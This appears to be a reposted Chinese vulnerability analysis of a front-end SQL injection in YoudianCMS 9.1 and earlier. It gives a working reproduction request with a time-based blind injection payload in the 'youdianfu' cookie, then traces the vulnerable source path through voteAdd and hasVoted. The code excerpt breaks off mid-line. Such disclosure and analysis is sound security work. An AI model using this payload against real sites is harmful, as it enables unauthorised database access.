友点CMS V9.1 前台SQL注入

阅读: 评论:0

友点CMS V9.1 前台SQL注入

友点CMS V9.1 前台SQL注入

漏洞描述

友点 CMS V9.1 前台存在 sql 注入,攻击者可获取数据库内容

漏洞影响

youdiancms <=9.1

漏洞复现

GET /index.php/Channel/voteAdd HTTP/1.1
Host: udiancms90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn9iofrfklen68u4205veml8s0; youdianAdminLangSet=cn; XDEBUG_SESSION=PHPSTORM; youdianfu[0]=exp; youdianfu[1]==(select 1 from(select sleep(3))a)
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

漏洞细节

变量控制

这里首先有一个可以直接赋值的变量,在 App/Lib/Action/HomeBaseAction.class.php

class HomeBaseAction extends BaseAction {protected $_fromUser = '';  //微信内部号protected $_isWx=0;  //是否是微信浏览器访问function _initialize(){parent::_initialize();$this->_assignPublicVar();$this->_assignConfigVar();$this->getTemplateConfig();//获取微信帐号=======================if( isset( $_GET['fu'])  && !empty( $_GET['fu']) ){$this->_fromUser = $_GET['fu'];cookie('fu', $this->_fromUser, 31536000); //31536000秒=1年,有效期为1年}else if( cookie('fu') ) {$this->_fromUser = cookie('fu');}//===============================}

主要看到下面赋值的位置,如果 GET 了一个 fu ,那么就会将这个的值赋值给 cookie,这里的 cookie方法可以跟进去看看,最后是加了一个前缀

$name = $config['prefix'] . $name;

最后是将 GETfu 的值赋值给了 youdianfu

我们如果一开始就给 youdianfu 赋值,那么我们就可以直接控制变量 $this->_fromUser

sql注入

接下来可以找哪里用到了这个 $this->_fromUser ,可以直接搜索

我们这里使用参考文章中使用的 voteAdd 方法,在 App/Lib/Action/Home/ChannelAction.class.php

public function voteAdd(){header("Content-Type:text/html; charset=utf-8");$item = $_REQUEST['item'];$appid = intval($_REQUEST['appid']);$fromUser = !empty($this->_fromUser) ? $this->_fromUser : get_client_ip();$_REQUEST = YdInput::checkTextbox( $_REQUEST );$m = D('Admin/WxVote');if($m->hasVoted($appid, $fromUser) ){$this->ajaxReturn(null, '', 2);}

这里会检测有没有 $this->_fromUser ,我们可以通过 cookie 设置,然后直接进入 $m->hasVoted($appid, $fromUser),我们跟进 App/Lib/Model/Admin/WxVoteModel.class.php

function hasVoted($appid, $fromUser){$where['AppID'] = $appid;$where['FromUser'] = $fromUser;$n = $this->where($where)->count

本文发布于:2024-01-28 14:35:22,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17064237248115.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:前台   CMS   SQL
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23